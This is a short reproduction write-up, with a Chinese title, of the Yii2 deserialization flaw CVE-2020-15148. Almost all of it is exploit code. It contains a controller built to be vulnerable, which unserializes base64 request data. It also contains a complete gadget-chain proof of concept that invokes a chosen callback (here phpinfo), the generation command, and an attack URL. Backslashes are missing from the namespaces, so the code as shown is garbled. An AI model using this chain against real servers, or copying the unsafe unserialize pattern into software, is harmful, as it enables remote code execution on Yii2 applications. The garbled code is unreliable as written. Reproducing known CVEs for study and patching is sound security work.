Yii2 反序列化漏洞(CVE-2020-15148)复现

https://github.com/yiisoft/yii2/releases/tag/2.0.37

php yii server

<?phpnamespace appcontrollers;use Yii;use yiiwebController;use yiifiltersVervFilter;use yiifiltersAccessControl;use appmodelsLoginForm;
class TestController extends yiiwebController{  public function actionSss($data){    return unserialize(base64_decode($data));  }}
?>

<?phpnamespace yiirest{    class CreateAction{        public $checkAccess;        public $id;
        public function __construct(){            $this->checkAccess = 'phpinfo';            $this->id = '1';        }    }}
namespace Faker{    use yiirestCreateAction;
    class Generator{        protected $formatters;
        public function __construct(){            $this->formatters['close'] = [new CreateAction(), 'run'];        }    }}
namespace yiidb{    use FakerGenerator;
    class BatchQueryResult{        private $_dataReader;
        public function __construct(){            $this->_dataReader = new Generator;        }    }}namespace{    echo base64_encode(serialize(new yiidbBatchQueryResult));}?>

php poc.php

http://localhost:8080/index.php?r=test/sss&data=[payload]

https://github.com/yiisoft/yii2/security/advisories/GHSA-699q-wcff-g9mj